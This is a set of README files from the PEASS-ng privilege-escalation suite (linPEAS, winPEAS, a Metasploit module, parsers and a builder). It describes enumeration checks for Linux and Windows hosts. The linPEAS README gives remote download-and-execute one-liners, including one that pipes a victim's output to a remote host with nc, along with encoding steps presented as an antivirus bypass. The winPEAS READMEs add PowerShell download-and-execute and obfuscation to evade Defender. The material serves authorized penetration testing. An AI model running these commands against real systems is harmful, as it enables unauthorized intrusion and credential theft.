# Technical Documentation: peass-ng/PEASS-ng > ℹ️ **Provenance:** Multi-Tier Ingestion · [CodeWiki Reference](https://codewiki.google/github.com/peass-ng/PEASS-ng) ### Overview (`README.md`) # PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation ## Linux Privesc official course to master LinPEAS **Check to learn tens of linux privesc techniques and master LinPEAS** # Basic Tutorial [](https://www.youtube.com/watch?v=9_fJv_weLU0&list=PL9fPq3eQfaaDxjpXaDYApfVA_IB8T14w7) Here you will find **privilege escalation tools for Windows and Linux/Unix\* and MacOS**. These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily. - Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)** - **[WinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)** - Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/main-system-information/linux-privilege-escalation-checklist.html)** - **[LinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)** ## Quick Start Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ## JSON, HTML & PDF output Check the **[parsers](./parsers/)** directory to **transform PEASS outputs to JSON, HTML and PDF** ## Join us! If you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!** You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about the latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live). ## Let's improve PEASS together If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/peass-ng/PEASS-ng/blob/master/CONTRIBUTING.md)** file. ## Advisory All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission. --- ### Overview (`linPEAS/README.md`) # LinPEAS - Linux Privilege Escalation Awesome Script **LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html)** Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/main-system-information/linux-privilege-escalation-checklist.html)**. [](https://asciinema.org/a/309566) ## Linux Privesc official course to master LinPEAS **Check to learn tens of linux privesc techniques and master LinPEAS** ## MacPEAS Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed** ## Build your own linpeas! The latest version of linpeas allows you to **select the checks you would like your linpeas to have** and built it only with those checks! This allows to create **smaller and faster linpeas scripts** for stealth and speed purposes. Check how to **select the checks you want to build [in your own linpeas following this link.](builder)** Note that by default, in the releases pages of this repository, you will find a **linpeas with all the checks**. ## Differences between `linpeas_fat.sh`, `linpeas.sh` and `linpeas_small.sh`: - **linpeas_fat.sh**: Contains all checks, even third party applications in base64 embedded. - **linpeas.sh**: Contains all checks, but only the third party application `linux exploit suggester` is embedded. This is the default `linpeas.sh`. - **linpeas_small.sh**: Contains only the most *important* checks making its size smaller. ## Quick Start Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ```bash # From public github curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh ``` ```bash # Local network sudo python3 -m http.server 80 #Host curl 10.10.10.10/linpeas.sh | sh #Victim # Without curl sudo nc -q 5 -lvnp 80 < linpeas.sh #Host cat < /dev/tcp/10.10.10.10/80 | sh #Victim # Excute from memory and send output back to the host nc -lvnp 9002 | tee linpeas.out #Host curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim ``` ```bash # Output to file ./linpeas.sh -a > /dev/shm/linpeas.txt #Victim less -r /dev/shm/linpeas.txt #Read with colors ``` ```bash # Use a linpeas binary wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_linux_amd64 chmod +x linpeas_linux_amd64 ./linpeas_linux_amd64 ``` ## AV bypass ```bash #open-ssl encryption openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc sudo python -m SimpleHTTPServer 80 #Start HTTP server curl 10.10.10.10/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | sh #Download from the victim #Base64 encoded base64 -w0 linpeas.sh > lp.enc sudo python -m SimpleHTTPServer 80 #Start HTTP server curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim ``` ## Firmware Analysis If you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options. - If you **can emulate** the firmware, just run linpeas inside of it: ```bash cp /path/to/linpeas.sh /mnt/linpeas.sh chroot /mnt #Supposing you have mounted the firmware FS in /mnt bash /linpeas.sh -o software_information,interesting_files,api_keys_regex ``` - If you **cannot emulate** the firmware, use the `-f ## One-liner Enumerator Here you have an old linpe version script in one line, **just copy and paste it**;) **The color filtering is not available in the one-liner** (the lists are too big) This one-liner is deprecated (I'm not going to update it any more), but it could be useful in some cases so it will remain here. The default file where all the data is stored is: */tmp/linPE* (you can change it at the beginning of the script) ``` /* Detailed source-code truncated for AI context efficiency. */ ``` ## PEASS Style Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas ## Collaborate If you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**. If you find any issue, please report it using **[github issues](https://github.com/peass-ng/privilege-escalation-awesome-scripts-suite/issues)**. **Linpeas** is being **updated** every time I find something that could be useful to escalate privileges. ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. --- ### Overview (`metasploit/README.md`) # PEASS Post Exploitation Module for Metasploit You can use this module to **automatically execute a PEASS script from a meterpreter or shell session obtained in metasploit**. ## Manual Installation Copy the `peass.rb` file to the path `modules/post/multi/gather/` inside the metasploit installation. In Kali: ```bash sudo cp ./peass.rb /usr/share/metasploit-framework/modules/post/multi/gather/ # or sudo wget https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb ``` Now you can do `reload_all` inside a running msfconsole or the next time you launch a new msfconsole the peass module will be **automatically loaded**. ## How to use it ``` /* Detailed source-code truncated for AI context efficiency. */ ``` The options are pretty self-explanatory. Notice that **by default** the obfuscated PEASS script if going to be **uploaded** but if you **set SRVHOST it will be downloaded** via http(s) from the metasploit instance (**so nothing will be written in the disk of the compromised host**). Notice that you can **set parametes** like `-h` in `PARAMETERS` and then linpeas/winpeas will just show the help (*just like when you execute them from a console*). **IMPORTANT**: You won't see any output until the execution of the script is completed. --- ### Overview (`parsers/README.md`) # Privilege Escalation Awesome Scripts Parsers These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML. ```python3 python3 peas2json.py python3 json2pdf.py python3 json2html.py ``` ## JSON Format Basically, **each section has**: - Infos (URLs or info about the section) - Text lines (the real text info found in the section, colors included) - More sections There is a **maximun of 3 levels of sections**. ```json { "
": { "sections": { "": { "sections": {}, "lines": [ { "raw_text": "\u001b[0m\u001b[1;33m[+] \u001b[1;32mnmap\u001b[1;34m is available for network discover & port scanning, you should use it yourself", "clean_text": "[+] is available for network discover & port scanning, you should use it yourself", "colors": { "GREEN": [ "nmap" ], "YELLOW": [ "[+]" ] } } ], "infos": [ "https://book.hacktricks.wiki/en/linux-hardening/main-system-information/kernel-vulnerability-assessment.html" ] }, "infos": [] ``` ```json { "System Information": { "sections": { "Operative system": { "sections": {}, "lines": [ { "raw_text": "\u001b[0m\u001b[1;33m[+] \u001b[1;32mnmap\u001b[1;34m is available for network discover & port scanning, you should use it yourself", "clean_text": "[+] is available for network discover & port scanning, you should use it yourself", "colors": { "GREEN": [ "nmap" ], "YELLOW": [ "[+]" ] } } ], "infos": [ "https://book.hacktricks.wiki/en/linux-hardening/main-system-information/kernel-vulnerability-assessment.html" ] }, "infos": [] ``` There can also be a `` If you need to transform several outputs check out https://github.com/mnemonic-re/parsePEASS # TODO: - **PRs improving the code and the aspect of the final PDFs and HTMLs are always welcome!** --- ### Overview (`winPEAS/README.md`) # Windows Privilege Escalation Awesome Scripts Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)** Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)** ## Quick Start Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ## WinPEAS Flavours - [Link to WinPEAS C# .exe project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required) - **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks** - [Link to WinPEAS .ps1 project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASps1) - [Link to WinPEAS .bat project](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASbat) ## PEASS Style Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/stores/peass)** and show your love for our favorite peas ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. --- ### Overview (`linPEAS/builder/README.md`) # Build you own linpeas! You can **build you own linpeas which will contain only the checks you want**. This is useful to reduce the time it takes to run linpeas and to make linpeas more stealth and modular. ## Quick start building linpeas.sh It's possible to indicate the params `--all`, `--all-no-fat` and `--small` to build the classic `linpeas_fat.sh`, `linpeas.sh` and `linpeas_small.sh` outputs: - When testing builder changes locally, prefer writing the output to `/tmp` so you don't overwrite tracked release artifacts by accident. Builds that include GTFOBins-based checks download the current GTFOBins archive once. They require network access and stop if the archive cannot be downloaded or validated. - **linpeas_fat.sh**: Contains all checks, even third party applications in base64 embedded. - **linpeas.sh**: Contains all checks, but only the third party application `linux exploit suggester` is embedded. This is the default `linpeas.sh`. - **linpeas_small.sh**: Contains only the most *important* checks making its size smaller. However, in order to indicate only some specific checks, you can use the `--include` and `--exclude` params. These arguments supports a comma separated list of modules to add or remove from the final linpeas. Note that the matchs are done by checking **if the module path string contains any of the words** indicated in those params. Therefore, if you want to inde all the tests from the `linpeas_parts/3_cloud` it's enough to indicate `--include "cloud"`. Or if you want to include only the check `linpeas_parts/3_cloud/1_Check_if_in_Cloud` you can indicate `--include "Check_if_in_Cloud"`. ```bash # Run this commands from 1 level above the builder folder. From here: cd .. # Build linpeas_fat (linpeas with all checks, even third party applications in base64 embedded) python3 -m builder.linpeas_builder --all --output /tmp/linpeas_fat.sh # Build regular linpeas python3 -m builder.linpeas_builder --all-no-fat --output /tmp/linpeas.sh # Build small linpeas python3 -m builder.linpeas_builder --small --output /tmp/linpeas_small.sh # Build linpeas only with container and cloud checks python3 -m builder.linpeas_builder --include "container,cloud" --output /tmp/linpeas_custom.sh # Build linpeas only with regexes python3 -m builder.linpeas_builder --include "api_keys_regex" --output /tmp/linpeas_custom.sh # Build linpeas only with some specific modules ## You can customize it as much as you want python3 -m builder.linpeas_builder --include "CPU_info,Sudo_version,Clipboard_highlighted_text" --output /tmp/linpeas_custom.sh # Build linpeas excluding some specific modules python3 -m builder.linpeas_builder --exclude "CPU_info,Sudo_version,Clipboard_highlighted_text" --output /tmp/linpeas_custom.sh ``` ## How to add new modules Adding new modules is very easy. You just need to create a new file in the `linpeas_parts/` folder with the following structure with the bash code to run. Note that every new module should have some specific metadata at the beggining of the file. This metadata is used by the builder to generate the final linpeas. Metadata example: ```bash # Title: Cloud - Check if in cloud # ID: CL_Check_if_in_cloud # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the current system is inside a cloud environment # License: GNU GPL # Version: 1.0 # Functions Used: check_aws_codebuild, check_aws_ec2, check_aws_ecs, check_aws_lambda, check_az_app, check_az_vm, check_do, check_gcp, check_ibm_vm, check_tencent_cvm, print_list # Global Variables: $is_aws_codebuild, $is_aws_ecs, $is_aws_ec2, , $is_aws_lambda, $is_az_app, $is_az_vm, $is_do, $is_gcp_vm, $is_gcp_function, $is_ibm_vm, $is_aws_ec2_beanstalk, $is_aliyun_ecs, $is_tencent_cvm # Initial Functions: check_gcp, check_aws_ecs, check_aws_ec2, check_aws_lambda, check_aws_codebuild, check_do, check_ibm_vm, check_az_vm, check_az_app, check_aliyun_ecs, check_tencent_cvm # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 ``` ### Metadata parts explained - **Title**: Title of the module - **ID**: Unique identifier of the module. It has to be the same as the filename without the extension and with the section identifier as prefix (in this case `CL`) - **Author**: Author of the module - **Last Update**: Last update of the module - **Description**: Description of the module - **License**: License of the module - **Version**: Version of the module - **Functions Used**: Functions used by the module inside the bash code. If your module is using a function not defined here, linpeas won't be built. - **Global Variables**: Global variables used by the module inside the bash code. If your module is using a global variable not defined here, linpeas won't be built. - **Initial Functions**: Functions that are called at the beggining of the module. If your module is using a function not defined here, linpeas won't be built. - **Generated Global Variables**: Global variables generated (given a relevant value) by the module. If your module is generating a global variable not defined here, linpeas won't be built. - **Fat linpeas**: Set only as 1 if the module is loading a third party app, if not 0. - **Small linpeas**: Set as 1 if it's a quick check, if not 0. --- ### Overview (`winPEAS/winPEASbat/README.md`) # Windows Privilege Escalation Awesome Script (.bat) **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)** Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html) ### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required) Unfortunately this script **does not support colors** so you will need to know what are you looking for in each test and, also, you will have to know how to learn the icacls output, see below. ## Windows PE using CMD (.bat) If you want to search for files and registry that could contain passwords, set to *yes* the *long* variable at the beginning of the script. The script will use acceschk.exe if it is available (with that name). But it is not necessary, it also uses wmic + icacls. Some of the tests in this script were extracted from **[here](https://github.com/enjoiz/Privesc/blob/master/privesc.bat)** and from **[here](https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)** ### Main checks
Details - [x] Systeminfo --SO version and patches-- (windows suggester) - [x] Common known exploits (2K, XP, 2K3, 2K8, Vista, 7) - [x] Audit Settings - [x] WEF Settings - [x] LAPS installed? - [x] LSA protection? - [x] Credential Guard? - [x] WDigest? - [x] Number of cached cred - [x] UAC Settings - [x] AV? - [x] PS Settings - [x] Mounted disks - [x] SCCM installed? - [x] Remote Desktop Credentials Manager? - [x] WSUS Settings - [x] Processes list - [x] Interesting file permissions of binaries being executed - [x] Interesting file permissions of binaries run at startup - [x] AlwaysInstallElevated? - [x] Network info (see below) - [x] Users info (see below) - [x] Current user privileges - [x] Service binary permissions - [x] Check if permissions to modify any service registy - [x] Unquoted Service paths - [x] DLL Hijacking in PATH - [x] Windows Vault - [x] DPAPI Master Keys - [x] AppCmd.exe? - [x] Check for unattended files - [x] Check for SAM & SYSTEM backups - [x] Check for cached GPP Passwords - [x] Check for McAffe SiteList.xml files - [x] Check for Cloud credentials - [x] Search for known registry to have passwords and keys inside (Winlogon...) - [x] Search for known files to have passwords inside (can take some minutes) - [x] If *long*, search files with passwords inside - [x] If *long*, search registry with passwords inside ### More enumeration - [x] Date & Time - [x] Env - [x] Installed Software - [x] Running Processes - [x] Current Shares - [x] Network Interfaces - [x] Used Ports - [x] Firewall - [x] ARP - [x] Routes - [x] Hosts - [x] Cached DNS - [x] Info about current user (PRIVILEGES) - [x] List groups (info about administrators) - [x] Current logon users
### Understanding icacls permissions Icacls is the program used to check the rights that groups and users have in a file or folder. Iclals is the main binary used here to check permissions. Its output is not intuitive so if you are not familiar with the command, continue reading. Take into account that in XP you need administrators rights to use icacls (for this OS is very recommended to upload sysinternals accesschk.exe to enumerate rights). **Interesting permissions** ``` D - Delete access F - Full access (Edit_Permissions+Create+Delete+Read+Write) N - No access M - Modify access (Create+Delete+Read+Write) RX - Read and eXecute access R - Read-only access W - Write-only access ``` We will focus in **F** (full), **M** (Modify access) and **W** (write). **Use of Icacls by WinPEAS** When checking rights of a file or a folder the script search for the strings: *(F)* or *(M)* or *(W)* and the string ":\" (so the path of the file being checked will appear inside the output). It also checks that the found right (F, M or W) can be exploited by the current user. A typical output where you dont have any nice access is: ``` C:\Windows\Explorer.EXE NT SERVICE\TrustedInstaller:(F) ``` An output where you have some interesting privilege will be like: ``` C:\Users\john\Desktop\desktop.ini NT AUTHORITY\SYSTEM:(I)(F) MYDOMAIN\john:(I)(F) ``` Here you can see that the privileges of user *NT AUTHORITY\SYSTEM* appears in the output because it is in the same line as the path of the binary. However, in the next line, you can see that our user (john) has full privileges in that file. This is the kind of outpuf that you have to look for when usnig the winPEAS.bat script. [More info about icacls here](https://ss64.com/nt/icacls.html) ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. --- ### Overview (`winPEAS/winPEASexe/README.md`) # Windows Privilege Escalation Awesome Script (.exe) **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)** Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)** [](https://youtu.be/66gOwXMnxRI) ## Quick Start **.Net >= 4.5.2 is required** Precompiled binaries: - Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/peass-ng/PEASS-ng/releases/latest)** or **compile it yourself** (read instructions for compilation). ``` /* Detailed source-code truncated for AI context efficiency. */ ``` ## Parameters Examples ```bash winpeas.exe -h # Get Help winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs) winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed winpeas.exe notcolor #Do not color the output winpeas.exe domain #enumerate also domain information winpeas.exe wait #wait for user input between tests winpeas.exe debug #display additional debug information winpeas.exe log #log output to out.txt instead of standard output winpeas.exe -vulnpackages #send installed package names/versions to the optional HackTricks online lookup to flag vulnerable packages winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpeas check (runs linpeas.sh in default WSL distribution) with custom linpeas.sh URL (if not provided, the default URL is: https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh) winpeas.exe -lolbas #Execute also additional LOLBAS search check ``` The `domain` checks include a bounded, read-only AD CS template review. ESC3 output correlates published enrollment-agent and on-behalf-of templates with matching Enroll ACEs for the current token. These are candidate paths, not proof of effective access: CA-specific publication, enrollment-agent restrictions, issuance policy, and certificate authentication still need manual verification. The device-driver audit also reviews registered kernel-driver services whose image is named `WinNotify.sys` or `msft.sys`. It reports service state, image path, SHA-256, file version, and signature details. Only a SHA-256 match to the [LocalStranger PoC driver](https://github.com/nbs32k/LocalStranger) confirms that specific image; filename-only matches require manual review. The bounded, read-only audit does not test the device interface or establish that the driver can be loaded or exploited by the current user. It does not assess current vulnerable-driver blocklist enforcement. ## Basic information The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments. New in this version: - Detect potential GPO abuse by flagging writable SYSVOL paths for GPOs applied to the current host and by highlighting membership in the "Group Policy Creator Owners" group. - Flag installed OEM utilities such as ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4, highlighting writable updater folders and world-accessible pipes tied to recent CVEs. It should take only a **few seconds** to execute almost all the checks and **some seconds/minutes during the lasts checks searching for known filenames** that could contain passwords (the time depened on the number of files in your home folder). By default only **some** filenames that could contain credentials are searched, you can use the **searchall** parameter to search all the list (this could will add some minutes). The tool is based on **[SeatBelt](https://github.com/GhostPack/Seatbelt)**. ## Where are my COLORS?!?!?! The **ouput will be colored** using **ansi** colors. If you are executing `winpeas.exe` **from a Windows console**, you need to set a registry value to see the colors (and open a new CMD): ``` REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 ``` Below you have some indications about what does each color means exacty, but keep in mind that **Red** is for something interesting (from a pentester perspective) and **Green** is something well configured (from a defender perspective). ## Instructions to compile you own obfuscated version
Details In order to compile an **ofuscated version** of Winpeas and bypass some AVs you need to ** install dotfuscator ** in *VisualStudio*. To install it *open VisualStudio --> Go to Search (CTRL+Q) --> Write "dotfuscator"* and just follow the instructions to install it. To use **dotfuscator** you will need to **create an account** *(they will send you an email to the address you set during registration*). Once you have installed and activated it you need to: 1. **Compile** winpeas in VisualStudio 2. **Open dotfuscator** app 3. **Open** in dotfuscator **winPEAS.exe compiled** 4. Click on **Build** 5. The **single, minimized and obfuscated binary** will appear in a **folder called Dotfuscator inside the folder were winPEAS.exe** and the DLL were (this location will be saved by dotfuscator and by default all the following builds will appear in this folder). **I'm sorry that all of this is necessary but is worth it. Dotfuscator minimizes a bit the size of the executable and obfuscates the code**. **IMPORTANT**: Note that Defender will higly probable delete the winpeas iintial unobfuscated version, so you need to set as expections the origin folder of Winpeas and the folder were the obfuscated version will be saved:
## Checks
Details - **System Information** - [x] Basic System info information - [x] Use embedded definitions to flag known exploitable vulnerabilities for the running Windows version (version-based) - [x] Passive Print Spooler CVE-2022-38028/GooseEgg exposure assessment (OS fixed build, update supersedence, Spooler state/configuration, and registry ACL) - [x] Passive Storage VSP/vSMB CVE-2025-59517 and CVE-2025-64673 assessment (OS/driver fixed build, update inventory, Virtual Machine Platform, `storvsp` registration, signature, and `STORVSP` device link) - [x] Passive Windows Installer CVE-2025-27727 build and artifact assessment (`msi.dll`, `TempPackages`, `Installer\Folders`, and `C:\Config.Msi` ACL/rollback state) - [x] Passive CrossDevice dangling COM CVE-2026-66804 assessment (fixed build, 32/64-bit registration, writable DLL path, SYSTEM COM host, and user-executable `CreateObjectTask`) - [x] Enumerate Microsoft updates - [x] PS, Audit, WEF and LAPS Settings - [x] LSA protection - [x] CLFS logfile authentication mitigation status - [x] Credential Guard - [x] Hardware and DMA security (Kernel DMA Protection, Device Guard DMA/IOMMU capability, UEFI/Secure Boot, VBS, BitLocker protectors and external DMA-capable interfaces) - [x] WDigest - [x] Number of cached cred - [x] Environment Variables - [x] Internet Settings - [x] Current drives information - [x] AV - [x] Windows Defender - [x] UAC configuration - [x] NTLM Settings - [x] Local Group Policy - [x] Applocker Configuration & bypass suggestions - [x] Printers - [x] Named Pipes - [x] Named Pipe ACL abuse candidates - [x] AMSI Providers - [x] SysMon - [x] .NET Versions - **Users Information** - [x] Users information - [x] Current token integrity/elevation, group state, and token-manipulation privileges - [x] Clipboard text - [x] Current logged users - [x] RDP sessions - [x] Ever logged users - [x] Autologin credentials - [x] Home folders - [x] Password policies - [x] Local User details - [x] Logon Sessions - **Processes Information** - [x] Interesting processes (non Microsoft) - [x] Privileged/service process token identities, logon sessions, integrity levels, service associations, and read-only token-access probes - **Services Information** - [x] Interesting services (non Microsoft) information - [x] Modifiable services - [x] Writable service registry binpath - [x] Writable DLLs loaded by enabled LocalSystem services - [x] Writable LocalSystem service recovery command targets - [x] PATH Dll Hijacking Process-token and service-access results are local, read-only review leads. Token access does not guarantee successful impersonation, and remote service binary-path replacement requires independent remote SCM permissions. - **Applications Information** - [x] Current Active Window - [x] Installed software - [x] Optional online installed-package vulnerability lookup via HackTricks (`-vulnpackages` or `all`) - [x] AutoRuns - [x] Scheduled tasks - [x] Microsoft Recall PolicyConfiguration task exposure (CVE-2025-60710 / CVE-2026-20941) - [x] Writable execution targets in enabled SYSTEM scheduled tasks - [x] Device drivers - **Network Information** - [x] Current net shares - [x] Mapped drives (WMI) - [x] hosts file - [x] Network Interfaces - [x] Listening ports - [x] Firewall rules - [x] DNS Cache (limit 70) - [x] WinINet, WinHTTP, policy and environment HTTP proxy settings (including ZDI-26-708 exposure indicators) - [x] Internet connectivity probes - [x] Optional external hostname resolution check - **Cloud Metadata Enumeration** - [x] AWS Metadata - [x] GCP Metadata - [x] Azure Metadata - **Windows Credentials** - [x] Windows Vault - [x] Credential Manager - [x] Saved RDP settings - [x] Passive sethc.exe/Utilman.exe integrity checks and RDP/NLA exposure context - [x] Recently run commands - [x] Default PS transcripts files - [x] DPAPI Masterkeys - [x] DPAPI Credential files - [x] Remote Desktop Connection Manager credentials - [x] Kerberos Tickets - [x] Wifi - [x] AppCmd.exe - [x] SSClient.exe - [x] SCCM - [x] Cached SCCM Network Access Account credential policies - [x] Security Package Credentials - [x] AlwaysInstallElevated - [x] WSUS (HTTP downgrade + CVE-2025-59287 exposure) - **Browser Information** - [x] Firefox DBs - [x] Credentials in firefox history - [x] Chrome DBs - [x] Credentials in chrome history - [x] Current IE tabs - [x] Credentials in IE history - [x] IE Favorites - [x] Extracting saved passwords for: Firefox, Chrome, Opera, Brave - **Interesting Files and registry** - [x] Putty sessions - [x] Putty SSH host keys - [x] SuperPutty info - [x] Office365 endpoints synced by OneDrive - [x] SSH Keys inside registry - [x] Cloud credentials - [x] Check for unattended files - [x] Check for SAM & SYSTEM backups - [x] Check for exposed SAM, SECURITY and SYSTEM hives in live ACLs, backups and shadow copies - [x] Check for cached GPP Passwords - [x] Check for and extract creds from McAffe SiteList.xml files - [x] Possible registries with credentials - [x] Possible credentials files in users homes - [x] Possible password files inside the Recycle bin - [x] Possible files containing credentials (this take some minutes) - [x] User documents (limit 100) - [x] Oracle SQL Developer config files check - [x] Slack files search - [x] Outlook downloads - [x] Machine and user certificate files - [x] Office most recent documents - [x] Hidden files and folders - [x] Executable files in non-default folders with write permissions - [x] WSL check - **Events Information** - [x] Logon + Explicit Logon Events - [x] Process Creation Events - [x] PowerShell Events - [x] Power On/Off Events - **Additional (slower) checks** - [x] LOLBAS search - [x] run **[linpeas.sh](https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/linPEAS/linpeas.sh)** in default WSL distribution
## TODO - Add more checks If you want to help with any of this, you can do it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues)** or you can submit a pull request. If you find any issue, please report it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues)**. **WinPEAS** is being **updated** every time I find something that could be useful to escalate privileges. ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. --- ### Overview (`winPEAS/winPEASps1/README.md`) # Windows Privilege Escalation Awesome Script (.ps1) **WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)** Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)** ## Mantainer The official **maintainer of this script is [RandolphConley](https://github.com/RandolphConley)**. ## Quick Start Download the **[latest releas from here](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ```bash powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')" ``` ## Recent Updates - Added Active Directory awareness checks to highlight Kerberos-only environments (NTLM restrictions) and time skew issues before attempting ticket-based attacks. - winPEAS.ps1 now reviews AD-integrated DNS ACLs to flag zones where low-privileged users can register/modify records (dynamic DNS hijack risk). - Enumerates high-value SPN accounts and weak gMSA password readers so you can immediately target Kerberoastable admins or abused service accounts. - Surfaces Schannel certificate mapping settings to warn about ESC10-style certificate abuse opportunities when UPN mapping is enabled. ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. --- ### Overview (`winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/README.md`) # The Bouncy Castle Crypto Package For C Sharp The Bouncy Castle Crypto package is a C\# implementation of cryptographic algorithms and protocols, it was developed by the Legion of the Bouncy Castle, a registered Australian Charity, with a little help! The Legion, and the latest goings on with this package, can be found at [https://www.bouncycastle.org](https://www.bouncycastle.org). In addition to providing basic cryptography algorithms, the package also provides support for CMS, TSP, X.509 certificate generation and a variety of other standards such as OpenPGP. The Legion also gratefully acknowledges the contributions made to this package by others (see [here](https://www.bouncycastle.org/csharp/contributors.html) for the current list). If you would like to contribute to our efforts please feel free to get in touch with us or visit our [donations page](https://www.bouncycastle.org/donate), sponsor some specific work, or purchase a support contract through [Crypto Workshop](https://www.cryptoworkshop.com). Except where otherwise stated, this software is distributed under a license based on the MIT X Consortium license. To view the license, [see here](https://www.bouncycastle.org/licence.html). The OpenPGP library also includes a modified BZIP2 library which is licensed under the [Apache Software License, Version 2.0](http://www.apache.org/licenses/). **Note**: this source tree is not the FIPS version of the APIs - if you are interested in our 